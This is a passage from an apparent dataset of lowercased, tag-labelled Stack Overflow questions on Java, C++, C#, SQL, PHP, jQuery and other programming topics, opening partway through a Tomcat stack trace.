org.apache.catalina.core.containerbase$startchild.call(containerbase.java:1419)         at org.apache.catalina.core.containerbase$startchild.call(containerbase.java:1409)         at java.util.concurrent.futuretask.run(unknown source)         at java.util.concurrent.threadpoolexecutor.runworker(unknown source)         at java.util.concurrent.threadpoolexecutor$worker.run(unknown source)         at java.lang.thread.run(unknown source)     caused by: org.apache.catalina.lifecycleexception: failed to start component [standardengine[catalina].standardhost[localhost].standardcontext[/assignment1]]         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:167)         ... 6 more     caused by: java.lang.noclassdeffounderror: com/phidget22/phidgetexception         at java.lang.class.getdeclaredfields0(native method)         at java.lang.class.privategetdeclaredfields(unknown source)         at java.lang.class.getdeclaredfields(unknown source)         at org.apache.catalina.util.introspection.getdeclaredfields(introspection.java:110)         at org.apache.catalina.startup.webannotationset.loadfieldsannotation(webannotationset.java:262)         at org.apache.catalina.startup.webannotationset.loadapplicationservletannotations(webannotationset.java:136)         at org.apache.catalina.startup.webannotationset.loadapplicationannotations(webannotationset.java:66)         at org.apache.catalina.startup.contextconfig.applicationannotationsconfig(contextconfig.java:328)         at org.apache.catalina.startup.contextconfig.configurestart(contextconfig.java:778)         at org.apache.catalina.startup.contextconfig.lifecycleevent(contextconfig.java:299)         at org.apache.catalina.util.lifecyclebase.firelifecycleevent(lifecyclebase.java:94)         at org.apache.catalina.core.standardcontext.startinternal(standardcontext.java:5105)         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:150)         ... 6 more     caused by: java.lang.classnotfoundexception: com.phidget22.phidgetexception         at org.apache.catalina.loader.webappclassloaderbase.loadclass(webappclassloaderbase.java:1291)         at org.apache.catalina.loader.webappclassloaderbase.loadclass(webappclassloaderbase.java:1119)         ... 19 more      oct 30  2017 8:37:30 pm org.apache.catalina.core.containerbase startinternal     severe: a child container failed during start     java.util.concurrent.executionexception: org.apache.catalina.lifecycleexception: failed to start component [standardengine[catalina].standardhost[localhost]]         at java.util.concurrent.futuretask.report(unknown source)         at java.util.concurrent.futuretask.get(unknown source)         at org.apache.catalina.core.containerbase.startinternal(containerbase.java:939)         at org.apache.catalina.core.standardengine.startinternal(standardengine.java:262)         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:150)         at org.apache.catalina.core.standardservice.startinternal(standardservice.java:422)         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:150)         at org.apache.catalina.core.standardserver.startinternal(standardserver.java:793)         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:150)         at org.apache.catalina.startup.catalina.start(catalina.java:670)         at sun.reflect.nativemethodaccessorimpl.invoke0(native method)         at sun.reflect.nativemethodaccessorimpl.invoke(unknown source)         at sun.reflect.delegatingmethodaccessorimpl.invoke(unknown source)         at java.lang.reflect.method.invoke(unknown source)         at org.apache.catalina.startup.bootstrap.start(bootstrap.java:355)         at org.apache.catalina.startup.bootstrap.main(bootstrap.java:495)     caused by: org.apache.catalina.lifecycleexception: failed to start component [standardengine[catalina].standardhost[localhost]]         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:167)         at org.apache.catalina.core.containerbase$startchild.call(containerbase.java:1419)         at org.apache.catalina.core.containerbase$startchild.call(containerbase.java:1409)         at java.util.concurrent.futuretask.run(unknown source)         at java.util.concurrent.threadpoolexecutor.runworker(unknown source)         at java.util.concurrent.threadpoolexecutor$worker.run(unknown source)         at java.lang.thread.run(unknown source)     caused by: org.apache.catalina.lifecycleexception: a child container failed during start         at org.apache.catalina.core.containerbase.startinternal(containerbase.java:948)         at org.apache.catalina.core.standardhost.startinternal(standardhost.java:872)         at org.apache.catalina.util.lifecyclebase.start(lifecyclebase.java:150)         ... 6 more </code></pre>   and if i run the project again i get this error  it would be grateful if you can help :) <a href= https://i.stack.imgur.com/lbiff.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lbiff.png  alt= i get this error ></a>    i,java
resourcebundle property file format  i want to ask if there a defined format for the property files to load in resource bundle.    for example  i have saved property files in http page  i download the page and provide as input to resourcebundle. but if there is some error on the server for example 404-file not found. still there would be a file  which will be an error page from the server  and will be input to resourcebundle  will resourcebundle throw some format exception  or would try to load whatever it finds.    for example  the file format is:   <pre><code>&lt;html&gt; </code></pre>   <code>&lt;body&gt;</code>     404 - file not found.   <code>&lt;/body&gt;</code> <code>&lt;/html&gt;</code>,java
inheritance and polymorphism c++  i read up on inheritance and polymorphism but i still can t distinguish what s the difference between both of them.    from what i knew  inheritance is e.g(a derived class inheritance methods from base class and method overriding can be performed as well.) so then what is polymorphism  are both inheritance and polymorphism somehow have the meaning     please correct me as i know that i am wrong. thanks,c++
opening a link in a new tab (within a frame setting)  i m new to html and am trying to design a basic website using frames (i appreciate this is an old method of doing things  but it is easy to navigate and simple  which i can cope with!) to do this  i am using the following code:   <pre><code>&lt;frameset frameborder=0  border=1  rows= 90 * &gt;     &lt;frame name= top   src= banner.html &gt;     &lt;frameset rows= *  cols= 20% 80% &gt;         &lt;frame name= side   src= sidemenu.html &gt;     &lt;frame name= main   src= welcome.html &gt;     &lt;/frameset&gt; &lt;/frameset&gt;&lt;noframes&gt;&lt;/noframes&gt; </code></pre>   then in my sidemenu with navigation links i have say the link for latest news:   <pre><code>&lt;a href= news.html  target= main &gt;news&lt;/a&gt; </code></pre>   this works fine. however  if a user tries to open the news link in a new tab  they just get the news.html page. is there any way to have it so that when they try to open this link in a new tab  it opens a new tab containing the banner  the sidemenu and the news page in the main frame     i hope this makes sense  and thanks for the help.,html
how to use inheritance correctly  the question:  define an inheriting hierarchy system that can inherit a class called “datastructure”  this class includes virtual functions. a class named  myarray  inherits datastructure. myarray is inherited by two classes:  queue  and  stack .     there are standard functionalities that can be used with these structures  some of them can be common methods  and the others can be specific for certain structure(s).     the functionalities (methods) can be as shown below  in my implementation of the datastructure class:    <strong>datastructure.h</strong>   <pre><code>class datastructure { public:     datastructure();     virtual bool pop(int&amp;); // delete element     virtual bool push(const int&amp;); // insert element     virtual bool inserta(const int&amp;); // insert element into array (return false is unsuccessful)     virtual bool deleteta(int&amp;); // remove element from array (return false is unsuccessful)  } </code></pre>   <strong>datastructure.cpp</strong>   <pre><code>datastructure::datastructure(){ }  bool datastructure::pop(int&amp;) {     return false; }  bool datastructure::push(const int&amp;) {     return false; }  bool datastructure::inserta(const int&amp;) {      return false; }  bool datastructure::deleteta(int&amp;) {     return false; } </code></pre>   <strong>myarray.h:</strong>   <pre><code>#include  datastructure.h   class myarray : public datastructure { public: myarray(int = 10); // default constructor (array size 10) ~myarray() { delete[] arrayptr; } // destructor virtual bool inserta(const  int&amp;); // insert an element into the array virtual bool deletea(int&amp;); // remove an element from the array virtual bool isempty() { return  top == -1; } virtual bool isfull() { return  top == size - 1; }  private:  int  size; // # of elements in the array`    int  top; // location of the top element`    int *arrayptr; // pointer to the array`  }; </code></pre>   <strong>myarray.cpp</strong>   <pre><code>   myarray::myarray(int s)  : datastructure() {  size = s &gt; 0   s : 10;  top = -1; // array is initially empty  arrayptr = new  int[size];  // allocate space for elements } ​ // insert an element into the array // return 1 if successful  false otherwise bool myarray::inserta(const int &amp;insertvalue) {  if (!isfull()) {      arrayptr[++top] = insertvalue;   // place item in array      return   true; // insert successful  }   return   false;  // insert unsuccessful }  bool myarray::deletea(int &amp;insertvalue) {  if (!isempty()) {      insertvalue = arrayptr[top--]; // remove item from array       return   true; // delete successful   }   return   false; // delete unsuccessful } </code></pre>   <strong>staticstack.h:</strong>   <pre><code>#include  myarray.h   class staticstack : public myarray { public:     staticstack(int = 10); // default constructor (stack size 10)      ~staticstack() { delete[] stackptr; } // destructor      virtual bool push(const int&amp;); // insert an element from the stack      virtual bool pop(int&amp;); // remove an element into the stack      virtual bool isempty() { return  top == -1; }     virtual bool isfull() { return  top == size - 1; }      virtual void initialize(); // initialize the structure     virtual void showall(); // print all elements of stack     virtual void showelement(); // print element of stack     virtual void clearall(); // clear the stack elements     virtual void deletestruct(); // delete the stack     virtual void print(); // test function  private:     int  size; // # of elements in the stack      int  top; // location of the top element      int *stackptr; // pointer to the stack  }; </code></pre>   <strong>staticstack.cpp:</strong>   <pre><code>#include  staticstack.h  #include &lt;iostream&gt; using std::cout; using std::endl;  staticstack::staticstack(int s)     : myarray() {     size = s &gt; 0   s : 10;     top = -1; // stack is initially empty      stackptr = new  int[size];  // allocate space for elements  }  void staticstack::initialize() // initialize the structure {  }  // insert an element into the stack  // return 1 if successful  false otherwise  bool staticstack::push(const  int &amp;insertvalue) {     if (!isfull()) {         stackptr[++top] = insertvalue;   // place item in stack          return   true; // insert successful      }     return   false;  // insert unsuccessful  }  bool staticstack::pop(int &amp;insertvalue) {     if (!isempty()) {         insertvalue = stackptr[top--]; // remove item from stack          return   true; // delete successful      }     return   false; // delete unsuccessful  }  void staticstack::print() // test function {     cout &lt;&lt;  stack test  &lt;&lt; endl;  }  void staticstack::showall() // print all element of stack {     for (int i = 0; i &lt; size; i++)         cout &lt;&lt;     &lt;&lt; *(stackptr + i);     cout &lt;&lt; endl; }  void staticstack::showelement() // print element of stack {  }  void staticstack::clearall() // clear the stack elements {  }  void staticstack::deletestruct() // delete the structure {  } </code></pre>   <strong>main.cpp:</strong>   <pre><code>// array      myarray intarray;     int i = 1;     cout &lt;&lt;  \inserting elements into array\n ;      while (intarray.inserta(i))     { // success true returned         cout &lt;&lt; i &lt;&lt;    ;         ++i;     }     cout &lt;&lt;  \array is full. cannot insert.   &lt;&lt; i         &lt;&lt;  \n\removing elements from array\n ;      while (intarray.inserta(i))         // success true returned         cout &lt;&lt; i &lt;&lt;    ;      cout &lt;&lt;  \array is empty. cannot remove.\n ;      cout &lt;&lt; endl;      // static stack      staticstack intstack;     int x = 1;     cout &lt;&lt;  \inserting elements into stack\n ;      while (intstack.push(x))     { // success true returned         cout &lt;&lt; x &lt;&lt;    ;         ++x;     }     cout &lt;&lt;  \stack is full. cannot insert.   &lt;&lt; x         &lt;&lt;  \n\removing elements from stack\n ;      while (intstack.pop(x))         // success true returned         cout &lt;&lt; x &lt;&lt;    ;      cout &lt;&lt;  \stack is empty. cannot remove.\n ;      cout &lt;&lt; endl; </code></pre>   i am not sure if i have used inheritance correctly.    any advice on how to solve this question using an inheritance hierarchy would be appreciated.,c++
c++ split default parameter values between declaration and definition  is the following valid c++11  both arguments to the constructor <code>noway::noway</code> have default values  but one is specified in the declaration and the other in the definition.   <pre><code>#include &lt;iostream&gt;  class noway { private:   int foo;   bool bar;  public:   explicit noway(int foo  bool bar = true);   bool isgood(); };  noway::noway(int foo = 4  bool bar) {   this-&gt;foo = foo;   this-&gt;bar = bar; }  bool noway::isgood() { return (foo == 4) &amp;&amp; (bar == true); }  int main(int argc  char **argv) {   auto noway = noway();   std::cout &lt;&lt; noway.isgood() &lt;&lt; std::endl; } </code></pre>   this compiles without error under gcc   <pre><code>$ g++ --std=c++11 foo.cc </code></pre>   but clang rejects it   <pre><code>$ clang++ --std=c++11  foo.cc foo.cc:13:18: error: addition of default argument on redeclaration makes this constructor a default constructor noway::noway(int foo = 4  bool bar) {                  ^     ~ foo.cc:9:12: note: previous declaration is here   explicit noway(int foo  bool bar = true);            ^ 1 error generated. exit 1 </code></pre>,c++
why (char *) is used in write() function in c++  <pre><code>person pers; pers.getdata(); fstream fs( person.txt   ios::out | ios::in | ios::binary | ios::app); fs.write((char*)&amp;pers  sizeof(pers)); </code></pre>   i am trying to be clear why the address of object (&amp;pers) needs to be cast to pointer to character while writing to file,c++
sql to map users after registering  i have a table a. when the user comes in our website  the id will be null. after they register  the id will be generated. how do i track the customer from the time they land .   <pre><code>id   time       city     ipaddresss      page visited      10.15   new york    192.45.323.12    page1      10.4    new york    192.45.323.12    page2 1    11.15   new york    192.45.323.12    page3 1    11.45   new york    192.45.323.12    page3 </code></pre>   so this is a single customer s data. when the ipaddress is same  the user id which is null also needs to be taken  when i do analysis.how do i map them .,sql
c# passing same variable to two  out  parameters  is it normal that  user1  and  user2  point to the same reference in the example below     i know that i am passing the same variable  notused  to both parameters  but it s not yet instanced so it does t contain a reference to anything. i was quite shocked to see that user1 and user2 are linked to each other.   <pre><code>static void checkpasswords(out string user1  out string user2) {     user1 =  a ;     user2 =  b ;      console.writeline( user1:   + user1);     console.writeline( user2:   + user2); }  public static void main() {     string notused;     checkpasswords(out notused  out notused); } </code></pre>   console shows:   <pre><code>user1: b user2: b </code></pre>,c#
personal game creation refuses to work (c programming)  i have been debugging my fallout lockpick simulator for a couple days now and had no progress. every time i load this game up and type in a degree to move the bobby pin  it says i win. instead  the game should loop until <em>win</em> is set to 1 and then say i win. what is preventing my program from accomplishing this  full code is listed below. thanks!   <pre><code>// fallout lockpick sim #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #include &lt;math.h&gt; #include &lt;ctype.h&gt;  void command(int *newwin  int key);  main() {     time_t t;     char stillplay;     int win;     int key;      do {             system( cls );             win = 0;             srand(time(&amp;t));             key = (rand() % 359);             lockface();             command(&amp;win  key);             printf( you won!!!\n );             printf( do you want to play again  );             scanf(  %c   &amp;stillplay);     } while (toupper(stillplay) ==  y );      return; }  lockface() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /         \\ \n );     printf(  |           | \n );     printf(  |           | \n );     printf(   \\         / \n );     printf(     \\ ___ / \n ); }  void command(int *newwin  int key) {     int cmd;      do {     printf( angle: );     scanf(  %d   &amp;cmd);     if ((cmd &gt;= 0 &amp;&amp; cmd &lt;= 21) || (cmd &gt;= 338 &amp;&amp; cmd &lt;= 359))     {         system( cls );         face0();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 22 &amp;&amp; cmd &lt;= 67)     {         system( cls );         face45();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 68 &amp;&amp; cmd &lt;= 112)     {         system( cls );         face90();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 113 &amp;&amp; cmd &lt;= 157)     {         system( cls );         face135();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 158 &amp;&amp; cmd &lt;= 202)     {         system( cls );         face180();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 203 &amp;&amp; cmd &lt;= 247)     {         system( cls );         face225();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 248 &amp;&amp; cmd &lt;= 292)     {         system( cls );         face270();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else if (cmd &gt;= 293 &amp;&amp; cmd &lt;= 337)     {         system( cls );         face315();         if (fabs(key - cmd) &lt;= 10)         {             *newwin = 0;         }     }     else     {         printf( not valid command! );         exit(1);     }     } while (*newwin != 1); }  face0() {     printf(       ___ \n );     printf(     /  |  \\ \n );     printf(   /    |    \\ \n );     printf(  |     |     | \n );     printf(  |           | \n );     printf(   \\         / \n );     printf(     \\ ___ / \n ); }  face45() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /      /  \\ \n );     printf(  |     /     | \n );     printf(  |           | \n );     printf(   \\         / \n );     printf(     \\ ___ / \n ); }  face90() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /         \\ \n );     printf(  |      _____| \n );     printf(  |           | \n );     printf(   \\         / \n );     printf(     \\ ___ / \n ); }  face135() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /         \\ \n );     printf(  |           | \n );     printf(  |      \\    | \n );     printf(   \\      \\  / \n );     printf(     \\ ___ / \n ); }  face180() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /         \\ \n );     printf(  |           | \n );     printf(  |      |    | \n );     printf(   \\    |    / \n );     printf(     \\ _|_ / \n ); }  face225() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /         \\ \n );     printf(  |           | \n );     printf(  |     /     | \n );     printf(   \\ /       / \n );     printf(     \\ ___ / \n ); }  face270() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /         \\ \n );     printf(  |______     | \n );     printf(  |           | \n );     printf(   \\         / \n );     printf(     \\ ___ / \n ); }  face315() {     printf(       ___ \n );     printf(     /     \\ \n );     printf(   /  \\      \\ \n );     printf(  |     \\     | \n );     printf(  |           | \n );     printf(   \\         / \n );     printf(     \\ ___ / \n ); } </code></pre>,c
select and insert query in one query   accounts table   <pre><code> user_id   description    credit  debit    created      modified     01        earned        10      0    06-11-2013     06-11-2013      02        normal        0       1    05-11-2013     05-11-2013           03        earned        5       0    04-11-2013     04-11-2013       04        earned        20      0    03-11-2013     03-11-2013           05        normal        0       1    02-11-2013     02-11-2013       01        earned        5       0    02-11-2013     02-11-2013     01        normal        0       1    01-11-2013     01-11-2013     02        earned        10      0    01-11-2013     01-11-2013 </code></pre>   i tried following queries:   <pre><code>select sum(case when description like   %earned%  then credit else 0  end ) as cre  sum(debit) as deb from accounts where created is between  $monday  and  $sunday   insert into accounts (user_id  description  credit  debit  created  modified)  values (  user_id    removed free earned    cre    deb   now()  now());  </code></pre>   i want to select account table and sum credit and sum debit according to users for example if user_id 01 total credit is 10 and total debit in last monday to sunday is 3 then 7 points should be added in insert query place of  deb . but if total credit is 10 and total debit is 20  then no points will be added mean if debit is greater than credit.      i want select and insert query should be written as one query.,mysql
php: empty/null and if logic inquiry  i have an input box that with php will echo out names typed in. the problem is that when the user presses space it will echo out the blank character. i have searched and didnt find an absolute answer. i know that using <code>!empty</code> if there is absoutely anthing in the input field but if there is a space is null supposed to work.     how to avoid getting echo if there is blank space in input    <pre><code>if (!empty($name[ name ]) || null ) {     echo  your name is  .$name;  } {  //do nothing   } </code></pre>,php
change string type list to type integer  the list is below: i simply want to convert it to an integer list   <pre><code>   list&lt;string&gt; list2 = new list&lt;string&gt;(); </code></pre>   how do i convert all of it s contents to int,c#
c# create thumbnail of file after file.copy  i have a file which i have to copy to another directory and after that i want to get the thumbnail of the file that is shown in windows explorer.<br> i am using the following lines of code to get the thumbnail:     <pre><code>shellfile.thumbnail.formatoption = shellthumbnailformatoption.thumbnailonly; bitmap shellthumb = shellfile.thumbnail.extralargebitmap; shellthumb.save( e:\\test.jpg  imageformat.jpeg); </code></pre>   this works fine when used on a ready file. but if i copy a file from one directory to another one by <code>file.copy</code> and then i call immediately the mentioned <code>shellfile</code> code lines  it will block and cannot create the thumbnail. and it is blocked until i go manually to the directory of the file in windows explorer and click on the file. after that the <code>shellfile</code> code does work and i do get my thumbnail.<br> how can i get the thumbnail of a copied file without manually going to the file and clicking on it,c#
persisting .net objects  like assemblies and form objects  can .net objects like assemblies  form objects and so on.. be persisted and accessed from a source  just like data from databases or something similar.    or any other platform like java can do it ...,.net
how can this work (static extension )  i saw this in a answer by marc gravell  and i just don t see how it would work   <pre><code>static bool isnullorempty(this string value) {         return string.isnullorempty(value); } </code></pre>   shouldn t a call to s.isnullorempty() where s is null  then return a nullreferenceexception   how can you de-reference the object to call the function defined here if the object is null     or is this some way to end-around monkey patching a static function,c#
restoring values of listview in fragment  i am parsing a large (17mb) json file and displaying the results in an expandablelistview within a fragment s oncreateview. when a user clicks a list item the main fragment is replaced.    the problem is when the user presses back  the previous fragment on stack (the expandablelistview) again parses the large json file and displays the results.    is there a way to prevent the fragment from creating the view again from scratch  or is holding those many values in the fragment impossible  i want the user to be back from where they clicked the list item.    inside the main activity s oncreate   <pre><code>        if (null == savedinstancestate) {         getsupportfragmentmanager()                 .begintransaction()                 .add(r.id.root_layout  ragecomiclistfragment.newinstance()   ragecomiclist )                 .commit();     } </code></pre>   and onclick   <pre><code>        getsupportfragmentmanager()             .begintransaction()             .replace(r.id.root_layout  detailsfragment   ragecomicdetails )             .addtobackstack(null)             .commit(); </code></pre>,android
how to return all the records against an id in a web api get by id function  here is my get by id function that returns first or default row of the user account s table that matches the given town id  i want to return all the rows (users) that are having the given town id.   <pre><code>public httpresponsemessage get(string id) {     using(kwsb_dbentities entities = new kwsb_dbentities()) {         entities.configuration.proxycreationenabled = false;         var entity = entities.user_account.firstordefault(e = &gt; e.town_id == id);          if (entity != null) {             return request.createresponse(httpstatuscode.ok  entity);         } else {             return request.createerrorresponse(httpstatuscode.notfound   user_account with town id =   + id.tostring() +   not found  );         }     } } </code></pre>,asp.net
rails 3 vs rails 2 pluralization issue  i am using rails 2 in my ruby on rails application.    in rails console when i try   <pre><code> police .pluralize </code></pre>   then i get something like this:   <pre><code> poluce  </code></pre>   i spent some time on searching this issue but haven t got proper answer. any clue about this      i tried it in rails 3 it works fine.,ruby-on-rails
calling object members in c# foreach loop  i have lot of tab pages in my program and i want to add or remove these pages. i m using the following statement to do it.   <pre><code>if(this.mycontrolform.tabpages.contains(tabpage1)) {     this.mycontrolform.tabpages.remove(tabpage1)); } if(this.mycontrolform.tabpages.contains(tabpage2)) {     this.mycontrolform.tabpages.remove(tabpage2)); } [...] //similar code for other tabpages </code></pre>   but it makes too much code when i have a lot of tabpages to add or remove so i want to add them in an array and make a foreach loop but i got an error    my code is :   <pre><code>object[] listtoremove = {tabpage1  tabpage2 tabpage3  ... tabpage20};  foreach ( object itr in listtoremove) {     if(this.mycontrolform.tabpages.contains(itr))     {         this.mycontrolform.tabpages.remove(itr));     } } </code></pre>   why is this happening  can anyone please help,c#
add value in javascript after another input  how to automatically add value +1 after keyup    <pre><code>&lt;input id= tahun1  name= tahun1  type= number &gt;  &lt;input id= tahun2  name= tahun2  type= number  readonly&gt;  &lt;script&gt; $( #tahun1 ).keyup(function(){ $( #tahun2 ).val(this.value);}); &lt;/script&gt; </code></pre>   for example if i insert  2015  in  tahun1  then in  tahun2  should be  2016  automatically    thanks in advance :),javascript
wget file download ftp waitfor() hangs  i am trying to download a xml file from a ftp server with <strong>wget</strong> in my java programm.  i have to wait until it finishes the download.    <pre><code>string command =  wget -o       +props.getproperty( xmlfolder )+  +     + rs.getstring( software )     +  .xml ftp:// +props.getproperty( ftpuser )     + : +props.getproperty( ftppasswort )+ @ +rs.getstring( xmlpfad );  system.out.println(command);  process p = runtime.getruntime().exec(command);  p.waitfor(); system.out.println( downloaded! ); </code></pre>   without the <code>waitfor()</code> it works perfectly  but with this function it stucks after 2-3 mb are downloaded. any suggestions,java
.net: is there a way to read a txt file from bottom to top  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/452902/how-to-read-a-text-file-reversely-with-iterator-in-c >how to read a text file reversely with iterator in c#</a>    </blockquote>     i am wondering if there is a way to read a text file from bottom to top without any performance penalty  the readline  movenext approach  but reversed  is this sort of thing possible in .net     to make matters more interesting the text file has around 100 000 lines in it  so i can t cheat with a readall  reverse...    some more detail: i have a collection of incoming string values that is prefixed with an int id that can be sorted. unfortunately i get these ids in the wrong order. the main issue is the sheer volume of the string values  and no rdbms in the solution. so i really need a way to store the string values and then reverse the order of the storing during the processing. text file came to mind because i don t have a better solution at this point in time.    thanks in advance.,.net
how to select multiple checkboxes with the same class but depending on which items have been selected  i have a table with multiple rows  in this table each row has it s checkbox and a text field (this text field contains class xxx  but is different per row  although sometimes two of more share the same class).    now i want  when a user selects checkbox 1 (textfield has the class  a ) and checkbox 5 (textfield has the class  b ) and clicks the button  select group   to select <strong>all</strong> other checkboxes which have the textfield with class  a  or class  b  in their row.    i was thinking of using <code>$(this).closest</code> but i don t know how jquery really works  so could anyone point me out in the right direction     thanks in advance.    <strong>edit</strong> some html: <a href= http://jsfiddle.net/hg4p6/1/  rel= nofollow >http://jsfiddle.net/hg4p6/1/</a>   <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chk1 &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text  value= 123  class= a &gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chk2 &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text  value= 518  class= c &gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chk3 &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text  value= 321  class= b &gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chk4 &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text  value= 567  class= a &gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chk5 &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text  value= 971  class= b &gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td colspan= 2 &gt;&lt;input type= button  value= select same classes  onclick= funcion &gt;         &lt;/td&gt;     &lt;/tr&gt;  &lt;/table&gt; </code></pre>   so basically  when you select the first checkbox  it should select the 4th aswell. and if you select the 3rd checkbox  it should select the 5th aswell.,jquery
"jquery: how do i select an option by value  <pre><code>&lt;tfoot&gt;     &lt;select&gt;         &lt;option value= 222 &gt;&lt;/option&gt;         &lt;option value= 2222 &gt;2222&lt;/option&gt;         &lt;option value= zaza &gt;zaza&lt;/option&gt;     &lt;/select&gt; &lt;/tfoot&gt; </code></pre>   i tried that:    <pre><code>$( tfoot select ).val( zaza ); </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( tfoot select ).val( zaza )</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 
 &lt;tfoot&gt;
     &lt;select&gt;
         &lt;option value= 222 &gt;&lt;/option&gt;
         &lt;option value= 2222 &gt;2222&lt;/option&gt;
         &lt;option value= zaza &gt;zaza&lt;/option&gt;
     &lt;/select&gt;
 &lt;/tfoot&gt;</code></pre>
 </div>
 </div>
     any idea    select = make it selected = trigger the change event",jquery
duplicate symbol _objc_class_$_reachability in: <blockquote>    duplicate symbol _objc_class_$_reachability in:   xyzmobileapp/build/intermediates/xyzmobileapp.build/debug-iphonesimulator/xyzmobileapp.build/objects-normal/x86_64/reachability.o        xyzmobileapp/businesslogic/library/xtifylib/xtifypush.embeddedframework/xtifypush.framework/xtifypush(reachability.o)  </blockquote>   i am getting this error:   <blockquote>    duplicate symbol _objc_class_$_reachability in:  </blockquote>   and   <blockquote>    clang: error: linker command failed with exit code 1 (use -v to see invocation)  </blockquote>,objective-c
better to use declarations or self to modify variables  this is probably a stupid question  but im wondering which is better practice for js   <pre><code>    var expiredefault = new date();     expiredefault.setyear(expiredefault.getfullyear() + 1); </code></pre>   this is how i am getting next years date at run time.  i have been told however to use a seperate date() decleration.    <pre><code>    var today = new date();     var expiredefault = new date();     expiredefault.setyear(today.getfullyear() + 1); </code></pre>   is this necsecary   or does it even matter      in my opinion from this example i dont circular reference. but the principles remain the same.,javascript
click and show all the records in my list in angular  when you press this button you should load the data and then show in the list. i m using the <code>ng-click</code> and <code>ng-repeat</code> functions.    what is the correct way to declare the functions inside the script  i think that s where i m failing.   <pre><code>&lt;script&gt;   var app = angular.module( myapp   [])   app.controller( myctrl   [ $scope   function($scope) {      $scope.count = 0;        $scope.myclick = function() {       $scope.count++;     };      $scope.button = function() {       $scope.myclicklist = studentinfo;     };    }]);      app.value( studentinfo   [       { id: 1  name:  mahedee hasan   credit: 20  semester:  8th  }        { id: 3  name:  enamul haque   credit: 15  semester:  7th  }        { id: 4  name:  arefin billah   credit: 15  semester:  6th  }     ]);  &lt;/script&gt; &lt;div class= modal-dialog &gt;   &lt;div class= modal-content &gt;      &lt;div class= modal-header &gt;       &lt;h1&gt;rodrigo&lt;/h1&gt;     &lt;/div&gt;      &lt;div class= modal-body width &gt;       &lt;div class= group-control  ng-app= myapp  ng-controller= myctrl &gt;          &lt;div class= row &gt;           &lt;div class= col-sm-6 &gt;             &lt;button ng-click= myclick()  class= form-control &gt;count&lt;/button&gt;             &lt;button ng-click= myclicklist()  class= form-control &gt;list&lt;/button&gt;           &lt;/div&gt;           &lt;div class= col-sm-6 align=center&gt;             &lt;p&gt;&lt;h1&gt;&lt;b&gt;{{count}}&lt;/b&gt;&lt;/h1&gt;&lt;/p&gt;          &lt;/div&gt;       &lt;/div&gt;       &lt;hr&gt;         &lt;table class= table &gt;         &lt;thead&gt;           &lt;tr&gt;             &lt;th&gt;id&lt;/th&gt;             &lt;th&gt;name&lt;/th&gt;             &lt;th&gt;credit&lt;/th&gt;             &lt;th&gt;semester&lt;/th&gt;           &lt;/tr&gt;         &lt;/thead&gt;          &lt;tr ng-repeat= s in studentinfo &gt;           &lt;td&gt;{{s.id}}           &lt;/td&gt;           &lt;td&gt;{{s.name}}           &lt;/td&gt;           &lt;td&gt;{{s.credit}}           &lt;/td&gt;           &lt;td&gt;{{s.semester}}           &lt;/td&gt;         &lt;/tr&gt;       &lt;/table&gt;       &lt;/div&gt;   &lt;/div&gt;    &lt;div class= modal-footer &gt;     &lt;h6&gt;rodrigo&lt;/h6&gt;   &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>   <a href= https://codepen.io/roalroga/pen/mgrobw editors=1000  rel= nofollow noreferrer >my full example is here</a>,angularjs
is it possible get table structures of a .frm file using php   in mysql i have seen there are .frm files which contains the structure of the table.    is it possible get the table structures of a .frm file using php,php
